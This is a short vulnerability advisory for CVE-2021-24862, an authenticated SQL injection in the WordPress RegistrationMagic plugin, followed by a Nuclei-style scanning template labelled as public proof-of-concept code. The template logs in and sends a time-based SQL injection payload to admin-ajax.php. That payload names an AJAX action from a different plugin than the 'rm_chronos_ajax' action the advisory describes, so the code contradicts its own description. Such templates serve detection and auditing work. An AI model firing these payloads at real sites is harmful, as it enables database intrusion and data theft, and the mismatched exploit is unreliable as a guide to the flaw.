WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
PoC代码[已公开]
id: CVE-2021-24862
info:
name: WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection
author: theamanrawat
severity: high
description: |
WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
impact: |
An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: Fixed in version 5.0.1.6.
reference:
- https://wpscan.com/vulnerability/7d3af3b5-5548-419d-aa32-1f7b51622615
- https://wordpress.org/plugins/custom-registration-form-builder-with-submission-manager/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24862
- http://packetstormsecurity.com/files/165746/WordPress-RegistrationMagic-V-5.0.1.5-SQL-Injection.html
- https://github.com/ezelnur6327/ezelnur6327
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24862
cwe-id: CWE-89
epss-score: 0.42876
epss-percentile: 0.97406
cpe: cpe:2.3:a:metagauss:registrationmagic:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: metagauss
product: registrationmagic
framework: wordpress
tags: time-based-sqli,cve,cve2021,wpscan,wp-plugin,wordpress,wp,registrationmagic,sqli,authenticated,packetstorm,metagauss
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration_2>=6'
- 'status_code_2 == 200'
- 'contains(body_3, "rm_user_role_mananger_form")'
condition: and
# digest: 480a0045304302200d3980c00d485d946dee7b3f76f19fa5438742478d95a298ee21ef03b3f7eb0d021f0ca5eff9a26e60a20b989c7e189c207ccd39ff4c5348d0f3ec59c6c9492106:922c64590222798bb761d5b6d8e72950